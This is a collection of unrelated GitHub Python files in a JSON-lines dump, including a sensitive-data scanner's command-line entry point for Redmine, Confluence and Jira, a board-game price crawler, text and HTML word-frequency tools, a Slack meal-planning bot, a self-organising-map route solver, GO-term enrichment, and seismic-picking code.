config['base_config']['notifications']['myteam']['enabled'] is True:\n conf['myteam_notifications'] = config['base_config']['notifications']['myteam']\n\n if config['base_config']['notifications']['defectDojo']['enabled'] is True:\n conf['defecdojo_notifications'] = config['base_config']['notifications']['defectDojo']\n\n conf['badlist'] = config['lists']['badlist']\n conf['badrootlist'] = config['lists']['badrootlist']\n conf['job_id'] = generate_job_id()\n\n return conf\n\n\ndef run(config: dict):\n if not isinstance(config['lists']['badlist'], list):\n raise Exception('badlist error in config file')\n\n if not isinstance(config['lists']['badrootlist'], list):\n raise Exception('badrootlist error in config file')\n\n if args.redmine is True:\n conf = check_conf('redmine')\n print_start_out(conf['url'], 'redmine', conf['job_id'])\n redmine_parser.run(conf)\n\n if args.confluence is True:\n conf = check_conf('confluence')\n # print(conf)\n print_start_out(conf['url'], 'confluence', conf['job_id'])\n c = confluence_parser.ConfluenceParser(conf)\n c.run()\n\n if args.jira is True:\n conf = check_conf('jira')\n # print(conf)\n print_start_out(conf['url'], 'jira', conf['job_id'])\n j = jira_parser.JiraParser(conf)\n j.run()\n\n\ndef print_start_out(url: str, type: str, job_id: str):\n msg_1 = f\"Start {type} parser: {url}\"\n msg_2 = f\"Started job ID: {job_id}\"\n print(colored(msg_1, 'white', on_color='on_cyan', attrs=['bold','blink']))\n print(colored(\"\".join([\"=\" * len(msg_1)]), 'magenta', on_color='on_white', attrs=['bold','blink']))\n print(colored(msg_2, 'white', on_color='on_cyan', attrs=['bold','blink']))\n\n\ndef get_config(path: str):\n with open(path) as json_file:\n config_data = json.load(json_file)\n return config_data\n\n\nif __name__ == '__main__':\n start_time = time.time()\n try:\n parser = argparse.ArgumentParser(description='Sensitive finder v0.1')\n parser.add_argument('--config', help='Path to json config file', default='config.json')\n parser.add_argument('--redmine', help='Run Redmine parser', action='store_true', default=False)\n parser.add_argument('--confluence', help='Run Confluence parser', action='store_true', default=False)\n parser.add_argument('--jira', help='Run Jira parser', action='store_true', default=False)\n parser.add_argument('--debug', help='Enable debug', action='store_true', default=False)\n\n args = parser.parse_args()\n try:\n config = get_config(args.config)\n except Exception as ex:\n print(ex)\n sys.exit(0)\n\n try:\n run(config)\n except Exception as ex:\n print(ex)\n if args.debug == True:\n print(traceback.format_exc())\n finally:\n print(\"time elapsed: {:.2f}s\".format(time.time() - start_time))","repo_name":"doublestraus/secret-finder","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":5703,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"32"} +{"seq_id":"20578271951","text":"import json\nfrom selenium import webdriver\nfrom selenium.webdriver.common.by import By\nfrom selenium.webdriver.firefox.options import Options\nfrom selenium.webdriver.common.keys import Keys\nfrom Jogo import *\nimport time\n\nclass Crawler():\n\n def __init__(self, titulo, url) -> None:\n self.titulo = titulo\n self.url = url\n \n\n def accessPage(self):\n driver = webdriver.Firefox()\n driver.get(self.url)\n\n\nclass CrawlerGalapagos(Crawler):\n\n def __init__(self, titulo, url, jogos) -> None:\n Crawler.__init__(self, titulo, url)\n self.extractGalapagos(jogos)\n\n\n \n\n def extractGalapagos(self, jogos):\n if( self.url.nomeSite == 'Galapagos'):\n\n options = Options()\n options.add_argument(\"--headless\")\n driver = webdriver.Firefox(options=options)\n\n driver.get('https://www.mundogalapagos.com.br/')\n time.sleep(5)\n\n elem = driver.find_element(By.XPATH, '//*[@id=\"CC-headerWidget-Search\"]')\n elem.clear()\n elem.send_keys(self.titulo)\n elem.send_keys(Keys.RETURN)\n time.sleep(5)\n\n\n ts = driver.find_elements(By.XPATH , \"//article/div[contains(@class,'product-cover')]\")\n print(len(ts))\n \n\n\n href =[]\n for i in range(0,len(ts)):\n h = ts[i].find_element(By.TAG_NAME, 'a')\n href.append(h.get_attribute(\"href\"))\n #print(href)\n \n if (len(ts) == 0):\n return -1\n else:\n for page in href:\n driver.get(page)\n time.sleep(5)\n tn = driver.find_elements(By.CLASS_NAME , 'product-title')\n #print(ts[0].text)\n te = driver.find_elements(By.CLASS_NAME , 'info-item-text')\n print(len(te))\n if(len(te) >= 3 ):\n numjogs = te[0].text\n idade = int(te[1].text.removesuffix('+'))\n tempo = te[2].text\n else:\n numjogs = None\n idade = None\n tempo = None\n \n tp = driver.find_elements(By.CLASS_NAME , 'best-price')\n disp=''\n preco =''\n if(len(tp) == 0):\n disp = False\n preco = None\n else:\n disp = True\n preco = tp[0].text \n preco = float(preco.removeprefix('R$ ').replace(',', '.'))\n #print(ts[0].text)\n print(tn[0].text, disp, numjogs, idade, tempo, \"Mundo Galapagos\", self.url.nomeSite, preco)\n\n jogos.append(Jogo(tn[0].text, disp, numjogs, idade, tempo, \"Mundo Galapagos\", self.url.nomeSite, preco))\n driver.close()\n\nclass CrawlerPlayEasy(Crawler):\n\n def __init__(self, titulo, url, jogos) -> None:\n Crawler.__init__(self, titulo, url)\n self.extractPlayEasy(jogos)\n\n\n \n\n def extractPlayEasy(self, jogos):\n \n titulo = self.titulo\n titulo = titulo.replace(':', '')\n jogo = Jogo('', False, '', 0, '', '', 'PlayEasy', 0.0)\n\n options = Options()\n options.add_argument(\"--headless\")\n driver = webdriver.Firefox(options=options)\n driver.get('https://www.playeasy.com.br/')\n\n time.sleep(3)\n elem = driver.find_element(By.XPATH, '//*[@id=\"search\"]')\n elem.clear()\n elem.send_keys(titulo)\n elem.send_keys(Keys.RETURN)\n\n time.sleep(5)\n\n lis = driver.find_elements(By.TAG_NAME, 'li')\n\n i = []\n for li in lis:\n if titulo in li.text:\n i.append(li)\n\n #print(len(driver.find_element(By.XPATH, f'/html/body/main/div[6]/section/div[4]/section/ul/li')))\n assert 'No results found.' not in driver.page_source\n for i in range(1, len(i)):\n driver.find_element(By.XPATH, f'/html/body/main/div[6]/section/div[4]/section/ul/li[{i}]').click()\n try:\n titulo = driver.find_element(By.XPATH,'/html/body/main/div[6]/section/div[2]/article/div[1]/div[2]/div/form/div[2]/h2').text\n except:\n titulo = None\n print(\"algo deu errado com o titulo\")\n disponibilidade = True if 'Em estoque' in driver.find_element(By.XPATH, '//*[@id=\"info-secundaria\"]').text else False\n preco = None if disponibilidade is False else driver.find_element(By.XPATH, '/html/body/main/div[6]/section/div[2]/article/div[1]/div[2]/div/form/div[6]/div[1]/div[1]/div/span/span[1]').text\n if preco:\n preco = float(preco.removeprefix('R$ ').replace(',', '.'))\n else:\n preco = None\n\n num = 4\n\n # O TR MUDA PORQUE AS ESPECIFICACOES TECNICAS SAO MUITO BUGADAS, TEM QUE RESOLVER\n try:\n numJogadores = driver.find_element(By.XPATH, f'/html/body/main/div[6]/section/div[2]/article/div[{num}]/div/div/table/tbody/tr[5]/td').text\n except:\n numJogadores = None\n print(\"algo deu errado com numero de jogadores de \" + titulo)\n try:\n idade = int(driver.find_element(By.XPATH, f'/html/body/main/div[6]/section/div[2]/article/div[{num}]/div/div/table/tbody/tr[3]/td').text.removesuffix('+'))\n except:\n idade = None\n print(\"algo deu errado com idade jogador de \" + titulo)\n try:\n tempoJogo = driver.find_element(By.XPATH, f'/html/body/main/div[6]/section/div[2]/article/div[{num}]/div/div/table/tbody/tr[6]/td').text\n except:\n tempoJogo = None\n print(\"algo deu errado com tempo de jogo de \" + titulo)\n try:\n editora = driver.find_element(By.XPATH, f'/html/body/main/div[6]/section/div[2]/article/div[{num}]/div/div/table/tbody/tr[1]/td').text\n except:\n editora = None\n print(\"algo deu errado com editora de \" + titulo)\n print(titulo, disponibilidade, numJogadores, idade, tempoJogo, editora, preco)\n jogos.append(Jogo(titulo, disponibilidade, numJogadores, idade, tempoJogo, editora, 'Play Easy', preco))\n driver.back()\n time.sleep(2)\n\n print(jogos)\n\n driver.close()\n","repo_name":"andersonzambeli/ine5238","sub_path":"Crawler.py","file_name":"Crawler.py","file_ext":"py","file_size_in_byte":6568,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"21422423635","text":"import contractions\nfrom nltk.stem import WordNetLemmatizer\nfrom nltk.corpus import stopwords\n\nclass TextProcessor:\n\n @staticmethod\n def preprocess_pipeline(df, col, stopwords):\n tp = TextProcessor\n df = df.copy() # to avoid some warnings (SettingWithCopyWarning)\n # is, ASAP !!!!\n df = tp.apply_contractions(df, col)\n # is, AS SOON AS POSSIBLE !!!!\n df = tp.remove_nonAlphanumeric(df, col)\n # is AS SOON AS POSSIBLE\n df = tp.to_lower(df, col)\n # is as soon as possible\n df = tp.apply_lemmatization(df, col)\n # be as soon as possible\n if not stopwords:\n df = tp.remove_stopwords(df, col)\n # soon possible\n df = tp.remove_extra_spaces(df, col)\n # soon possible\n return df\n\n\n @staticmethod\n def apply_contractions(df, col):\n df[col] = df[col].apply(contractions.fix)\n return df\n\n @staticmethod\n def remove_nonAlphanumeric(df, col):\n df[col] = df[col].str.replace(r\"[^a-zA-Z]\", \" \", regex=True)\n return df\n\n @staticmethod\n def to_lower(df, col):\n df[col] = df[col].str.lower()\n return df\n\n @staticmethod\n def apply_lemmatization(df, col):\n wordnet_lemmatizer = WordNetLemmatizer()\n\n def lemmatize(field):\n tokens = field.split()\n lemmatized = [wordnet_lemmatizer.lemmatize(word, pos=\"v\") for word in tokens]\n return \" \".join(lemmatized)\n\n df[col] = df[col].apply(lemmatize)\n return df\n\n @staticmethod\n def remove_stopwords(df, col):\n stop_words = list(stopwords.words('english'))\n for stop_word in stop_words:\n pattern = r\"\\b\" + stop_word + r\"\\b\"\n df[col] = df[col].str.replace(pattern, '', regex=True)\n\n return df \n\n\n @staticmethod\n def remove_extra_spaces(df, col): \n df[col] = df[col].str.replace(r'\\s+', ' ', regex=True)\n return df","repo_name":"AmosChenZixuan/DS-A3-UserRequirementsClassification","sub_path":"utils/text_processor.py","file_name":"text_processor.py","file_ext":"py","file_size_in_byte":1970,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"7906139247","text":"import datetime\nfrom collections import Counter\nfrom bs4 import BeautifulSoup\nimport os\nimport csv\n\n\n# extract all words from HTML and calculate the top 10 words\n# The Top 10 Words on each Page are stored in CSV wrt to each Web Page URL\nclass HTMLProcessor:\n url = ''\n page = ''\n\n # CSV File name using the date format\n date = datetime.datetime.now()\n csvfilename = ''\n\n def __init__(self, pageurl):\n self.url = pageurl\n\n #\n def __init__(self, pageurl, pagedoc, filename):\n self.url = pageurl\n self.page = pagedoc\n # csv file name initialized once\n self.csvfilename = 'web-{year}-{month}-{day}-{min}'.format(year=self.date.year, month=self.date.month,\n day=self.date.day,\n min=self.date.minute)\n\n # Word Frequency counter after crawling a web-page\n\n # Function defining the web-crawler,\n # which will fetch information from\n # a given website, and push the contents to\n # the second function clean_wordlist()'''\n def startcounting(self):\n\n # empty list to store the contents of\n # the website fetched from our web-crawler\n wordlist = []\n\n soup = BeautifulSoup(self.page, 'html.parser')\n\n # Text in given web-page get the words and add into an collection\n content = soup.find().getText()\n words = content.lower().split()\n\n for each_word in words:\n wordlist.append(each_word)\n self.clean_wordlist(wordlist)\n\n # Function removes any unwanted symbols\n def clean_wordlist(self, wordlist):\n\n clean_list = []\n for word in wordlist:\n symbols = '!@#$%^&*()_-+={[}]|\\;:\"<>?/., '\n\n for i in range(0, len(symbols)):\n word = word.replace(symbols[i], '')\n\n if len(word) > 0:\n clean_list.append(word)\n self.create_dictionary(clean_list)\n\n # Creates a dictionary containing each word's\n\n # count and top_20 words and store with URL\n def create_dictionary(self, clean_list):\n word_count = {}\n word_count2 = {}\n\n for word in clean_list:\n if word in word_count:\n word_count[word] += 1\n else:\n word_count[word] = 1\n\n count = 0\n\n for word2 in clean_list:\n word2 = self.listToString(clean_list[count:count + 2])\n if word2 in word_count2:\n word_count2[word2] += 1\n else:\n word_count2[word2] = 1\n count += 1\n\n ''' To get the count of each word in \n the crawled page --> \n <-- '''\n\n c = Counter(word_count)\n c2 = Counter(word_count2)\n\n # returns the most occurring elements\n top = c.most_common(10)\n top2 = c2.most_common(10)\n self.fileWriter(top)\n self.fileWriter(top2)\n\n # To convert a list to string\n # Function to convert\n def listToString(self, s):\n # initialize an empty string\n str1 = \"\"\n\n # traverse in the string\n for ele in s:\n str1 += ele\n\n # return string\n return str1\n\n # Writing the data to csv file\n def fileWriter(self, inputString):\n cwd = os.getcwd()\n with open(f\"{cwd}/{self.csvfilename}.csv\", 'a') as out_file:\n writer = csv.writer(out_file)\n writer.writerow([self.url, inputString])\n","repo_name":"SSaxena/WebCrawler","sub_path":"src/HTMLProcessor.py","file_name":"HTMLProcessor.py","file_ext":"py","file_size_in_byte":3501,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"15305869434","text":"import json\n\nimport logging\nfrom slack_sdk import WebClient\n\nfrom dinner_optimizer_shared import credentials_handler as creds\nfrom dinner_optimizer_shared import message_persistence as persistence\nfrom dinner_optimizer_shared import time_utils\n\nfrom dinner_optimizer_shared.interaction import Interaction\n\nlogger = logging.getLogger()\nlogger.setLevel(logging.INFO)\n\nconsoleHandler = logging.StreamHandler()\nlogger.addHandler(consoleHandler)\n\n\ndef lambda_handler(event, context):\n logger.info(json.dumps(event))\n\n channel_id = event[\"slack_channel_id\"]\n\n credentials = creds.fetch_creds_from_secrets_manager()\n\n slack_client = WebClient(token=credentials[\"SLACK_BOT_TOKEN\"])\n\n past_recommendations: list[Interaction] = []\n for n in reversed(range(2, 5)):\n w = time_utils.nth_most_recent_saturday(n)\n past_interactions = persistence.retrieve_interactions_for_week(w, channel_id)\n\n # Add them to the current week's history.\n bot_messages = list(filter(lambda x: x.role == \"assistant\", past_interactions))\n if len(bot_messages) < 1:\n continue\n\n past_recommendations.append(bot_messages[-1])\n\n for pr in past_recommendations:\n persistence.record_conversation_message(\n pr, time_utils.most_recent_saturday(), channel_id\n )\n\n slack_client.chat_postMessage(\n channel=channel_id,\n text=\"*It's time to meal plan soon!*\\n\\nPost before 2pm with any special requests you might have this week, and I'll include them.\",\n )\n\n return {\n \"statusCode\": 200,\n \"body\": json.dumps({\"success\": True}),\n }\n\n\ndef cli():\n event = {\n # Beta\n \"slack_channel_id\": \"C060L3A1J4W\"\n }\n lambda_handler(event, None)\n\n\nif __name__ == \"__main__\":\n cli()\n","repo_name":"mungewrath/dinner-optimizer","sub_path":"upcoming_reminder/src/upcoming_reminder/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":1782,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"15050120376","text":"import numpy as np\r\nimport matplotlib.pyplot as plt\r\nfrom scipy.spatial.distance import euclidean\r\n\r\n\r\n\"\"\"\r\n GLOBAL VARIABLES DO NOT TOUCH!\r\n the code will be cursed if you touch anything - maybe don't even look at the code...\r\n\"\"\"\r\nspecies = 32\r\nattributes = 2\r\nn = 10\r\nsigma = 1\r\n\r\n\r\ndef read_data_cities(cities):\r\n \"\"\"\r\n Func read_data_cities/1\r\n @spec read_data_cities(string) :: np.array()\r\n Takes the file path and reads the file - returns the parsed file as an input array for our Neural Network\r\n \"\"\"\r\n f = open(cities, \"r\")\r\n city_map = []\r\n for line in f:\r\n city_map.append(line.split(\"\\n\")[0].split(\",\"))\r\n training = np.asfarray(np.array(city_map), float)\r\n return training\r\n\r\n\r\ndef find_closest(animal, W, num_neighbour, grannar=True, eta=0.2):\r\n \"\"\"\r\n Func find_closest/5\r\n @spec find_closest(np.array(), np.array(), integer, boolean, integer) :: np.array()\r\n Given a data-sample 'animal', a weight matrix 'W', an integer of how many neighbours should be used\r\n -> update the weight matrix W based on the number of neighbours.\r\n \"\"\"\r\n dist = np.zeros(n)\r\n for i, w in enumerate(W):\r\n dist[i] = np.linalg.norm(animal-w)\r\n\r\n if not grannar:\r\n return np.argmin(dist)\r\n\r\n for index in range(num_neighbour):\r\n tmp_index = 0\r\n if np.argmin(dist) + index > len(W) - 1:\r\n tmp_index = np.argmin(dist) + index - len(W)\r\n W[tmp_index] += eta * (animal - W[tmp_index])\r\n if np.argmin(dist) - index < 0:\r\n tmp_index = np.argmin(dist) - index + len(W) - 1\r\n W[tmp_index] += eta * (animal - W[tmp_index])\r\n else:\r\n W[np.argmin(dist) - index] += eta * (animal - W[np.argmin(dist) - index])\r\n else:\r\n W[np.argmin(dist) + index] += eta * (animal - W[np.argmin(dist) + index])\r\n if np.argmin(dist) - index < 0:\r\n tmp_index = np.argmin(dist) - index + len(W) - 1\r\n W[tmp_index] += eta * (animal - W[tmp_index])\r\n else:\r\n W[np.argmin(dist) - index] += eta * (animal - W[np.argmin(dist) - index])\r\n return W\r\n\r\n\r\ndef save_the_animals(input, epoch=20):\r\n \"\"\"\r\n Func save_the_animals/2\r\n @spec save_the_animals(list, integer) :: void\r\n Find the correct solution to the given minimization problem.\r\n Currently finds a short (maybe shortest) path for the Travel Sales Person problem\r\n which is known to be unsolvable in polynomial time complexity.\r\n \"\"\"\r\n w = np.random.rand(2, n)\r\n w = w.T\r\n # Update W\r\n for e in range(epoch):\r\n for animal in input:\r\n # This neighboy variable is the solution to everything - don't ever question why we use this formula.\r\n # The formula to calculate the number of neighbours came to me in a dream - and it is our highest truth.\r\n neighboy = round((n - e)/2)\r\n w = find_closest(animal, w, neighboy)\r\n # Route array used for storing argmin of weight vector rows\r\n pos = np.zeros(n)\r\n for i in range(n):\r\n # Just something big\r\n distance = np.zeros(n)\r\n # Pick out the data point\r\n data_point_x = input[i, :]\r\n for j in range(n):\r\n # Calculate the the distance from the point x to all weights of row j in W\r\n distance[j] = euclidean(data_point_x, w[j, :])\r\n pos[i] = np.argmin(distance)\r\n # Now we have the route\r\n ordered = np.argsort(pos)\r\n # Add the starting position as last position in the route - since we are doing a cycle\r\n ordered = np.append(ordered, ordered[0])\r\n print(f\"The ordered route looks like this:\\n |-> {ordered}\")\r\n plt.title(\"Cyclic route\")\r\n plt.scatter(input[ordered][:, 0], input[ordered][:, 1])\r\n plt.plot(input[ordered][:, 0], input[ordered][:, 1])\r\n plt.show()\r\n\r\n\r\ndef main():\r\n print(\"### -- In main cyclic.py -- ###\")\r\n city_input = read_data_cities(\".\\\\datasets\\\\cities.dat\")\r\n save_the_animals(city_input)\r\n\r\n\r\nif __name__ == \"__main__\":\r\n main()\r\n","repo_name":"wilhelmagren/DD2437-Artificial-Neural-Networks-and-Deep-Architectures","sub_path":"Lab2/cyclic.py","file_name":"cyclic.py","file_ext":"py","file_size_in_byte":4107,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"7025083544","text":"import sys, os\n#python cluster_enrichment_031814_2.py clusterfile Go-annotfile outputfile\ncluster_result = sys.argv[1] #contains gene: cluster\ngo_annot = open(sys.argv[2], 'r') #contains GO term: gene or pathway info- gene:pathway\n#genenum= int(sys.argv[3]) #number of genes in total for A. thaliana this is 27511\n\n\n### make gene and cluster dictionary\ncluster_result_open = open(cluster_result, 'r')\nline = cluster_result_open.readline()\nline = cluster_result_open.readline()\nexpre_gen =[]\ndict_cluster = {}\n\n#make dictionary with cluster as key and genes as items for each cluster:\nwhile line:\n info = line.strip().replace('\"','').split('\\t')\n gene = info[0]\n cluster = info[1]\n expre_gen.append(gene)\n if cluster in dict_cluster:\n dict_cluster[cluster].append(gene)\n else:\n dict_cluster[cluster] = [gene]\n line = cluster_result_open.readline()\n\nprint (dict_cluster)\n#AraCyc ### make gene and go-term dictionary\ngenler_list = []\npathway = [] #GO term list\n\ndef add_go_to_dict(go_annot, dict):\n for line in go_annot:\n info = line.strip().split(\"\\t\")\n gene = info[0] # gene ID\n #if gene.startswith(\"AT\"):\n pathway = info[1] # GO term\n x = info[2].strip().split(' ')\n function_str = \"_\".join(x)\n path_list= [pathway, function_str]\n path = \".\".join(path_list)\n if gene in expre_gen:\n if gene not in genler_list:\n genler_list.append(gene)\n #for GO in pathway:\n if path in dict:\n if gene not in dict[path]:\n dict[path].append(gene)\n else:\n dict[path] = [gene]\n \ndict = {} #dictionary should be GOterm:genes \nadd_go_to_dict(go_annot, dict)\nprint (dict)\n\n## make table for enrichment comparing clusters and GO terms, how many clusters represent 'x' GO term?\noutput_table = open('tableforEnrichment_%s' % cluster_result, 'w') # output is GOterm_cluster#, inclust-inGO, inclust-notGO, notclust-inGO, notclust-notGO\ngenenum= len(genler_list) #to compare just genes in your genelist (not all genes), use this genenumber\nfor item in dict:\n #item:GO-ID\n gene_list_for_go = dict[item]\n #print gene_list_for_go\n for i in dict_cluster.keys():\n cluster_list = dict_cluster[i]\n \n count1 = 0\n count2 = 0\n count3 = 0\n count4 = 0\n for j in cluster_list:\n if j in gene_list_for_go:\n count1 = count1 + 1\n else:\n count2 = count2 + 1\n count3 = len(gene_list_for_go) - count1\n count4 = genenum - (count1 + count2 + count3) #number is based on the # of genes from cluster file- in this case 20998\n output_table.write('%s|%s\\t%i\\t%i\\t%i\\t%i\\n' % (item, i, count1, count2, count3, count4))\noutput_table.close()\n#print gene_list_for_go","repo_name":"ShiuLab/GO-term-enrichment","sub_path":"cluster_enrichment_final_Sl.py","file_name":"cluster_enrichment_final_Sl.py","file_ext":"py","file_size_in_byte":2885,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"32"} +{"seq_id":"20777869951","text":"import pyproj\n\nimport pandas as pd\n\nfrom pvgrip.ssdp.utils \\\n import timestr2utc_time\n\nfrom pvgrip.utils.epsg \\\n import ll2epsg\n\n\ndef write_locations(route, ghi_default, dhi_default, time_default,\n azimuth_default, zenith_default, offset_default,\n locations_fn, epsg):\n with open(locations_fn, 'w') as f:\n for x in route:\n if 'longitude' not in x or 'latitude' not in x:\n raise RuntimeError\\\n (\"longitude or latitude is missing!\")\n\n lat_met, lon_met = \\\n ll2epsg(lat = x['latitude'], lon = x['longitude'], epsg = epsg)\n\n if 'dhi' not in x:\n x['dhi'] = dhi_default\n\n if 'ghi' not in x:\n x['ghi'] = ghi_default\n\n if 'azimuth' not in x:\n x['azimuth'] = azimuth_default\n\n if 'zenith' not in x:\n x['zenith'] = zenith_default\n\n if 'offset' not in x:\n x['offset'] = offset_default\n\n if 'timestr' not in x:\n x['utc_time'] = timestr2utc_time(time_default)\n else:\n x['utc_time'] = timestr2utc_time(x['timestr'])\n\n fmt = '\\t'.join(('%.12f',)*7 + ('%d\\n',))\n\n f.write(fmt %(lat_met, lon_met,\n x['ghi'],x['dhi'],\n x['azimuth'],x['zenith'],x['offset'],\n x['utc_time']))\n\n return route\n\n\ndef write_result(route, ssdp_ofn, ofn):\n df_a = pd.DataFrame(route)\n df_b = pd.read_csv(ssdp_ofn, header=None)\n df_b.columns = ['POA']\n df_c = pd.concat([df_a.reset_index(drop=True), df_b], axis=1)\n return df_c.to_csv(ofn, sep='\\t', index=False)\n","repo_name":"esovetkin/pvgrip","sub_path":"pvgrip/route/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":1741,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"32"} +{"seq_id":"29933400617","text":"\ndef possible_path(lst):\n ok = True\n dict = {\"1\":[2],\"2\":[1,\"H\"],\"3\":[4],\"4\":[3,\"H\"],\"H\":[2,4]}\n for i in range(len(lst)-1):\n possiblePath = dict[str(lst[i])]\n if lst[i+1] not in possiblePath:\n ok = False\n return ok\n\n","repo_name":"daniel-reich/ubiquitous-fiesta","sub_path":"FLgJEC8SK2AJYLC6y_21.py","file_name":"FLgJEC8SK2AJYLC6y_21.py","file_ext":"py","file_size_in_byte":232,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"35801528115","text":"\"\"\"Chime Message/Notification module.\"\"\"\n\n\nimport json\nimport logging\nfrom typing import Any, Optional\nfrom urllib.error import HTTPError, URLError\nfrom urllib.request import Request, urlopen\n\n_logger: logging.Logger = logging.getLogger(__name__)\n\n\ndef post_message(webhook: str, message: str) -> Optional[Any]:\n \"\"\"Send message on an existing Chime Chat rooms.\n\n Parameters\n ----------\n :param webhook : webhook\n Webhook: This contains all the authentication information to send the message\n :param message : message\n The actual message which needs to be posted on Slack channel\n\n Returns\n -------\n dict\n Represents the response from Chime\n \"\"\"\n response = None\n chime_message = {\"Content\": f\"Message: {message}\"}\n req = Request(webhook, json.dumps(chime_message).encode(\"utf-8\"))\n try:\n response = urlopen(req) # pylint: disable=R1732\n _logger.info(\"Message posted on Chime. Got respone as %s\", response.read())\n except HTTPError as e:\n _logger.exception(\"Request failed: %d %s\", e.code, e.reason)\n except URLError as e:\n _logger.exception(\"Server connection failed: %s\", e.reason)\n return response\n","repo_name":"aws/aws-sdk-pandas","sub_path":"awswrangler/chime.py","file_name":"chime.py","file_ext":"py","file_size_in_byte":1199,"program_lang":"python","lang":"en","doc_type":"code","stars":3653,"dataset":"github-code","pt":"32"} +{"seq_id":"27329023407","text":"import obspy\r\nfrom obspy import imaging\r\nimport numpy as np\r\nimport os\r\nfrom glob import glob\r\nimport matplotlib.pyplot as plt\r\nfrom multiprocessing import Process, Manager\r\nfrom time import ctime\r\nimport math\r\nfrom numba import jit\r\nfrom ..mathTool.mathFunc_bak import getDetec, prob2color\r\nfrom ..io import tool\r\nfrom ..io.seism import getTrace3ByFileName,Quake,QuakeL,Record,QuakeCC,RecordCC,t0,t1\r\nfrom ..io.sacTool import staTimeMat\r\n\r\nfrom ..mapTool.mapTool import plotTopo,faultL\r\nimport mpl_toolkits.basemap as basemap\r\nimport torch\r\nfrom obspy import taup\r\ntaupModel=taup.TauPyModel(model='iasp91')\r\nmaxA=2e19\r\nos.environ[\"MKL_NUM_THREADS\"] = \"32\"\r\n@jit\r\ndef isZeros(a):\r\n new = a.reshape([-1,10,a.shape[-1]])\r\n if (new.std(axis=(1))==0).sum()>5:\r\n return True\r\n return False\r\n\r\n\r\n'''\r\n@jit\r\ndef predictLongData(model, x, N=2000, indexL=range(750, 1250)):\r\n if len(x) == 0:\r\n return np.zeros(0)\r\n N = x.shape[0]\r\n Y = np.zeros(N)\r\n perN = len(indexL)\r\n loopN = int(math.ceil(N/perN))\r\n perLoop = int(1000)\r\n inMat = np.zeros((perLoop, 2000, 1, 3))\r\n #print(len(x))\r\n zeroCount=0\r\n for loop0 in range(0, int(loopN), int(perLoop)):\r\n loop1 = min(loop0+perLoop, loopN)\r\n for loop in range(loop0, loop1):\r\n i = loop*perN\r\n sIndex = min(max(0, i), N-2000)\r\n if sIndex > 0:\r\n inMat[loop-loop0, :, :, :] = processX(x[sIndex: sIndex+2000, :])\\\r\n .reshape([2000, 1, 3])\r\n outMat = (model.predict(inMat)[:,:,:,:1]).reshape([-1, 2000])\r\n for loop in range(loop0, loop1):\r\n i = loop*perN\r\n if isZeros(inMat[loop-loop0, :, :, :]):\r\n zeroCount+=1\r\n continue\r\n sIndex = min(max(0, i), N-2000)\r\n if sIndex > 0:\r\n Y[indexL0[0]+sIndex: indexL0[-1]+1+sIndex] = \\\r\n np.append(Y[indexL0[0]+sIndex: indexL0[-1]+1+sIndex],\\\r\n outMat[loop-loop0, indexL0].reshape([-1])\\\r\n ).reshape([2,-1]).max(axis=0)\r\n if zeroCount>0:\r\n print('zeros: %d'%zeroCount)\r\n \r\n return Y\r\n'''\r\nindexL0=range(275, 1500)\r\n@jit\r\ndef predictLongData(model, x, N=2000, indexL=range(750, 1250),dIndex=2000,dec=1):\r\n L = x.shape[0]\r\n if L <=dIndex*3:\r\n return np.zeros(L)\r\n validD = len(indexL)\r\n loop = math.ceil(dIndex/validD)\r\n zerosCount=0\r\n out = np.zeros([loop,L],np.float32)\r\n for i in range(loop):\r\n i0=validD*i\r\n i1=int((L-i0)/dIndex)*dIndex+i0\r\n X = x[i0:i1].reshape([-1,dIndex,1,3])\r\n XSTD = X.reshape([X.shape[0],-1,10,3]).std(axis=2,keepdims=True)\r\n sum0 = (XSTD==0).sum(axis=(1,2,3))\r\n X/=X.std(axis=(1,2,3),keepdims=True)+np.finfo(x.dtype).eps\r\n Y = model.predict(X)\r\n zerosCount+=(sum0>5).sum()\r\n Y[sum0>5]*=0\r\n Y[:, :indexL0[ 0] ]*=0\r\n Y[:, indexL0[-1]:]*=0\r\n out[i,i0:i1]=Y.reshape([-1])\r\n if zerosCount>0:\r\n print('zeros: %d'%zerosCount) \r\n return out.max(axis=0) \r\n'''\r\n@jit\r\ndef processX(X, rmean=True, normlize=True, reshape=True):\r\n if reshape:\r\n X = X.reshape(-1, 2000, 1, 3)\r\n if rmean:\r\n X = X - X.mean(axis=(1, 2)).reshape([-1, 1, 1, 3])\r\n if normlize:\r\n X = X/(X.std(axis=(1, 2, 3)).reshape([-1, 1, 1, 1]))\r\n return X\r\n'''\r\n@jit\r\ndef processX(X, rmean=True, normlize=False, reshape=True,isNoise=False,num=2000):\r\n if reshape:\r\n X = X.reshape(-1, num, 1, 3)\r\n #print(X.shape)\r\n if rmean:\r\n X-= X.mean(axis=1,keepdims=True)\r\n if normlize:\r\n X /=(X.std(axis=(1, 2, 3),keepdims=True))\r\n if isNoise:\r\n X+=(np.random.rand(X.shape[0],num,1,3)-0.5)*np.random.rand(X.shape[0],1,1,3)*X.max(axis=(1,2,3),keepdims=True)*0.15*(np.random.rand(X.shape[0],1,1,1)<0.1)\r\n return X\r\n\r\n\r\n\r\ndef originFileName(net, station, comp, YmdHMSJ, dirL=['data/']):\r\n #dir='tmpSacFile/'\r\n sacFileNames = list()\r\n Y = YmdHMSJ\r\n for dir in dirL:\r\n sacFileNamesStr = dir+net+'.'+station+'.'+Y['Y']+Y['j']+\\\r\n '*'+comp\r\n for file in glob(sacFileNamesStr):\r\n sacFileNames.append(file)\r\n return sacFileNames\r\n\r\nclass sta(object):\r\n def __init__(self, station, day,freq=[-1, -1], 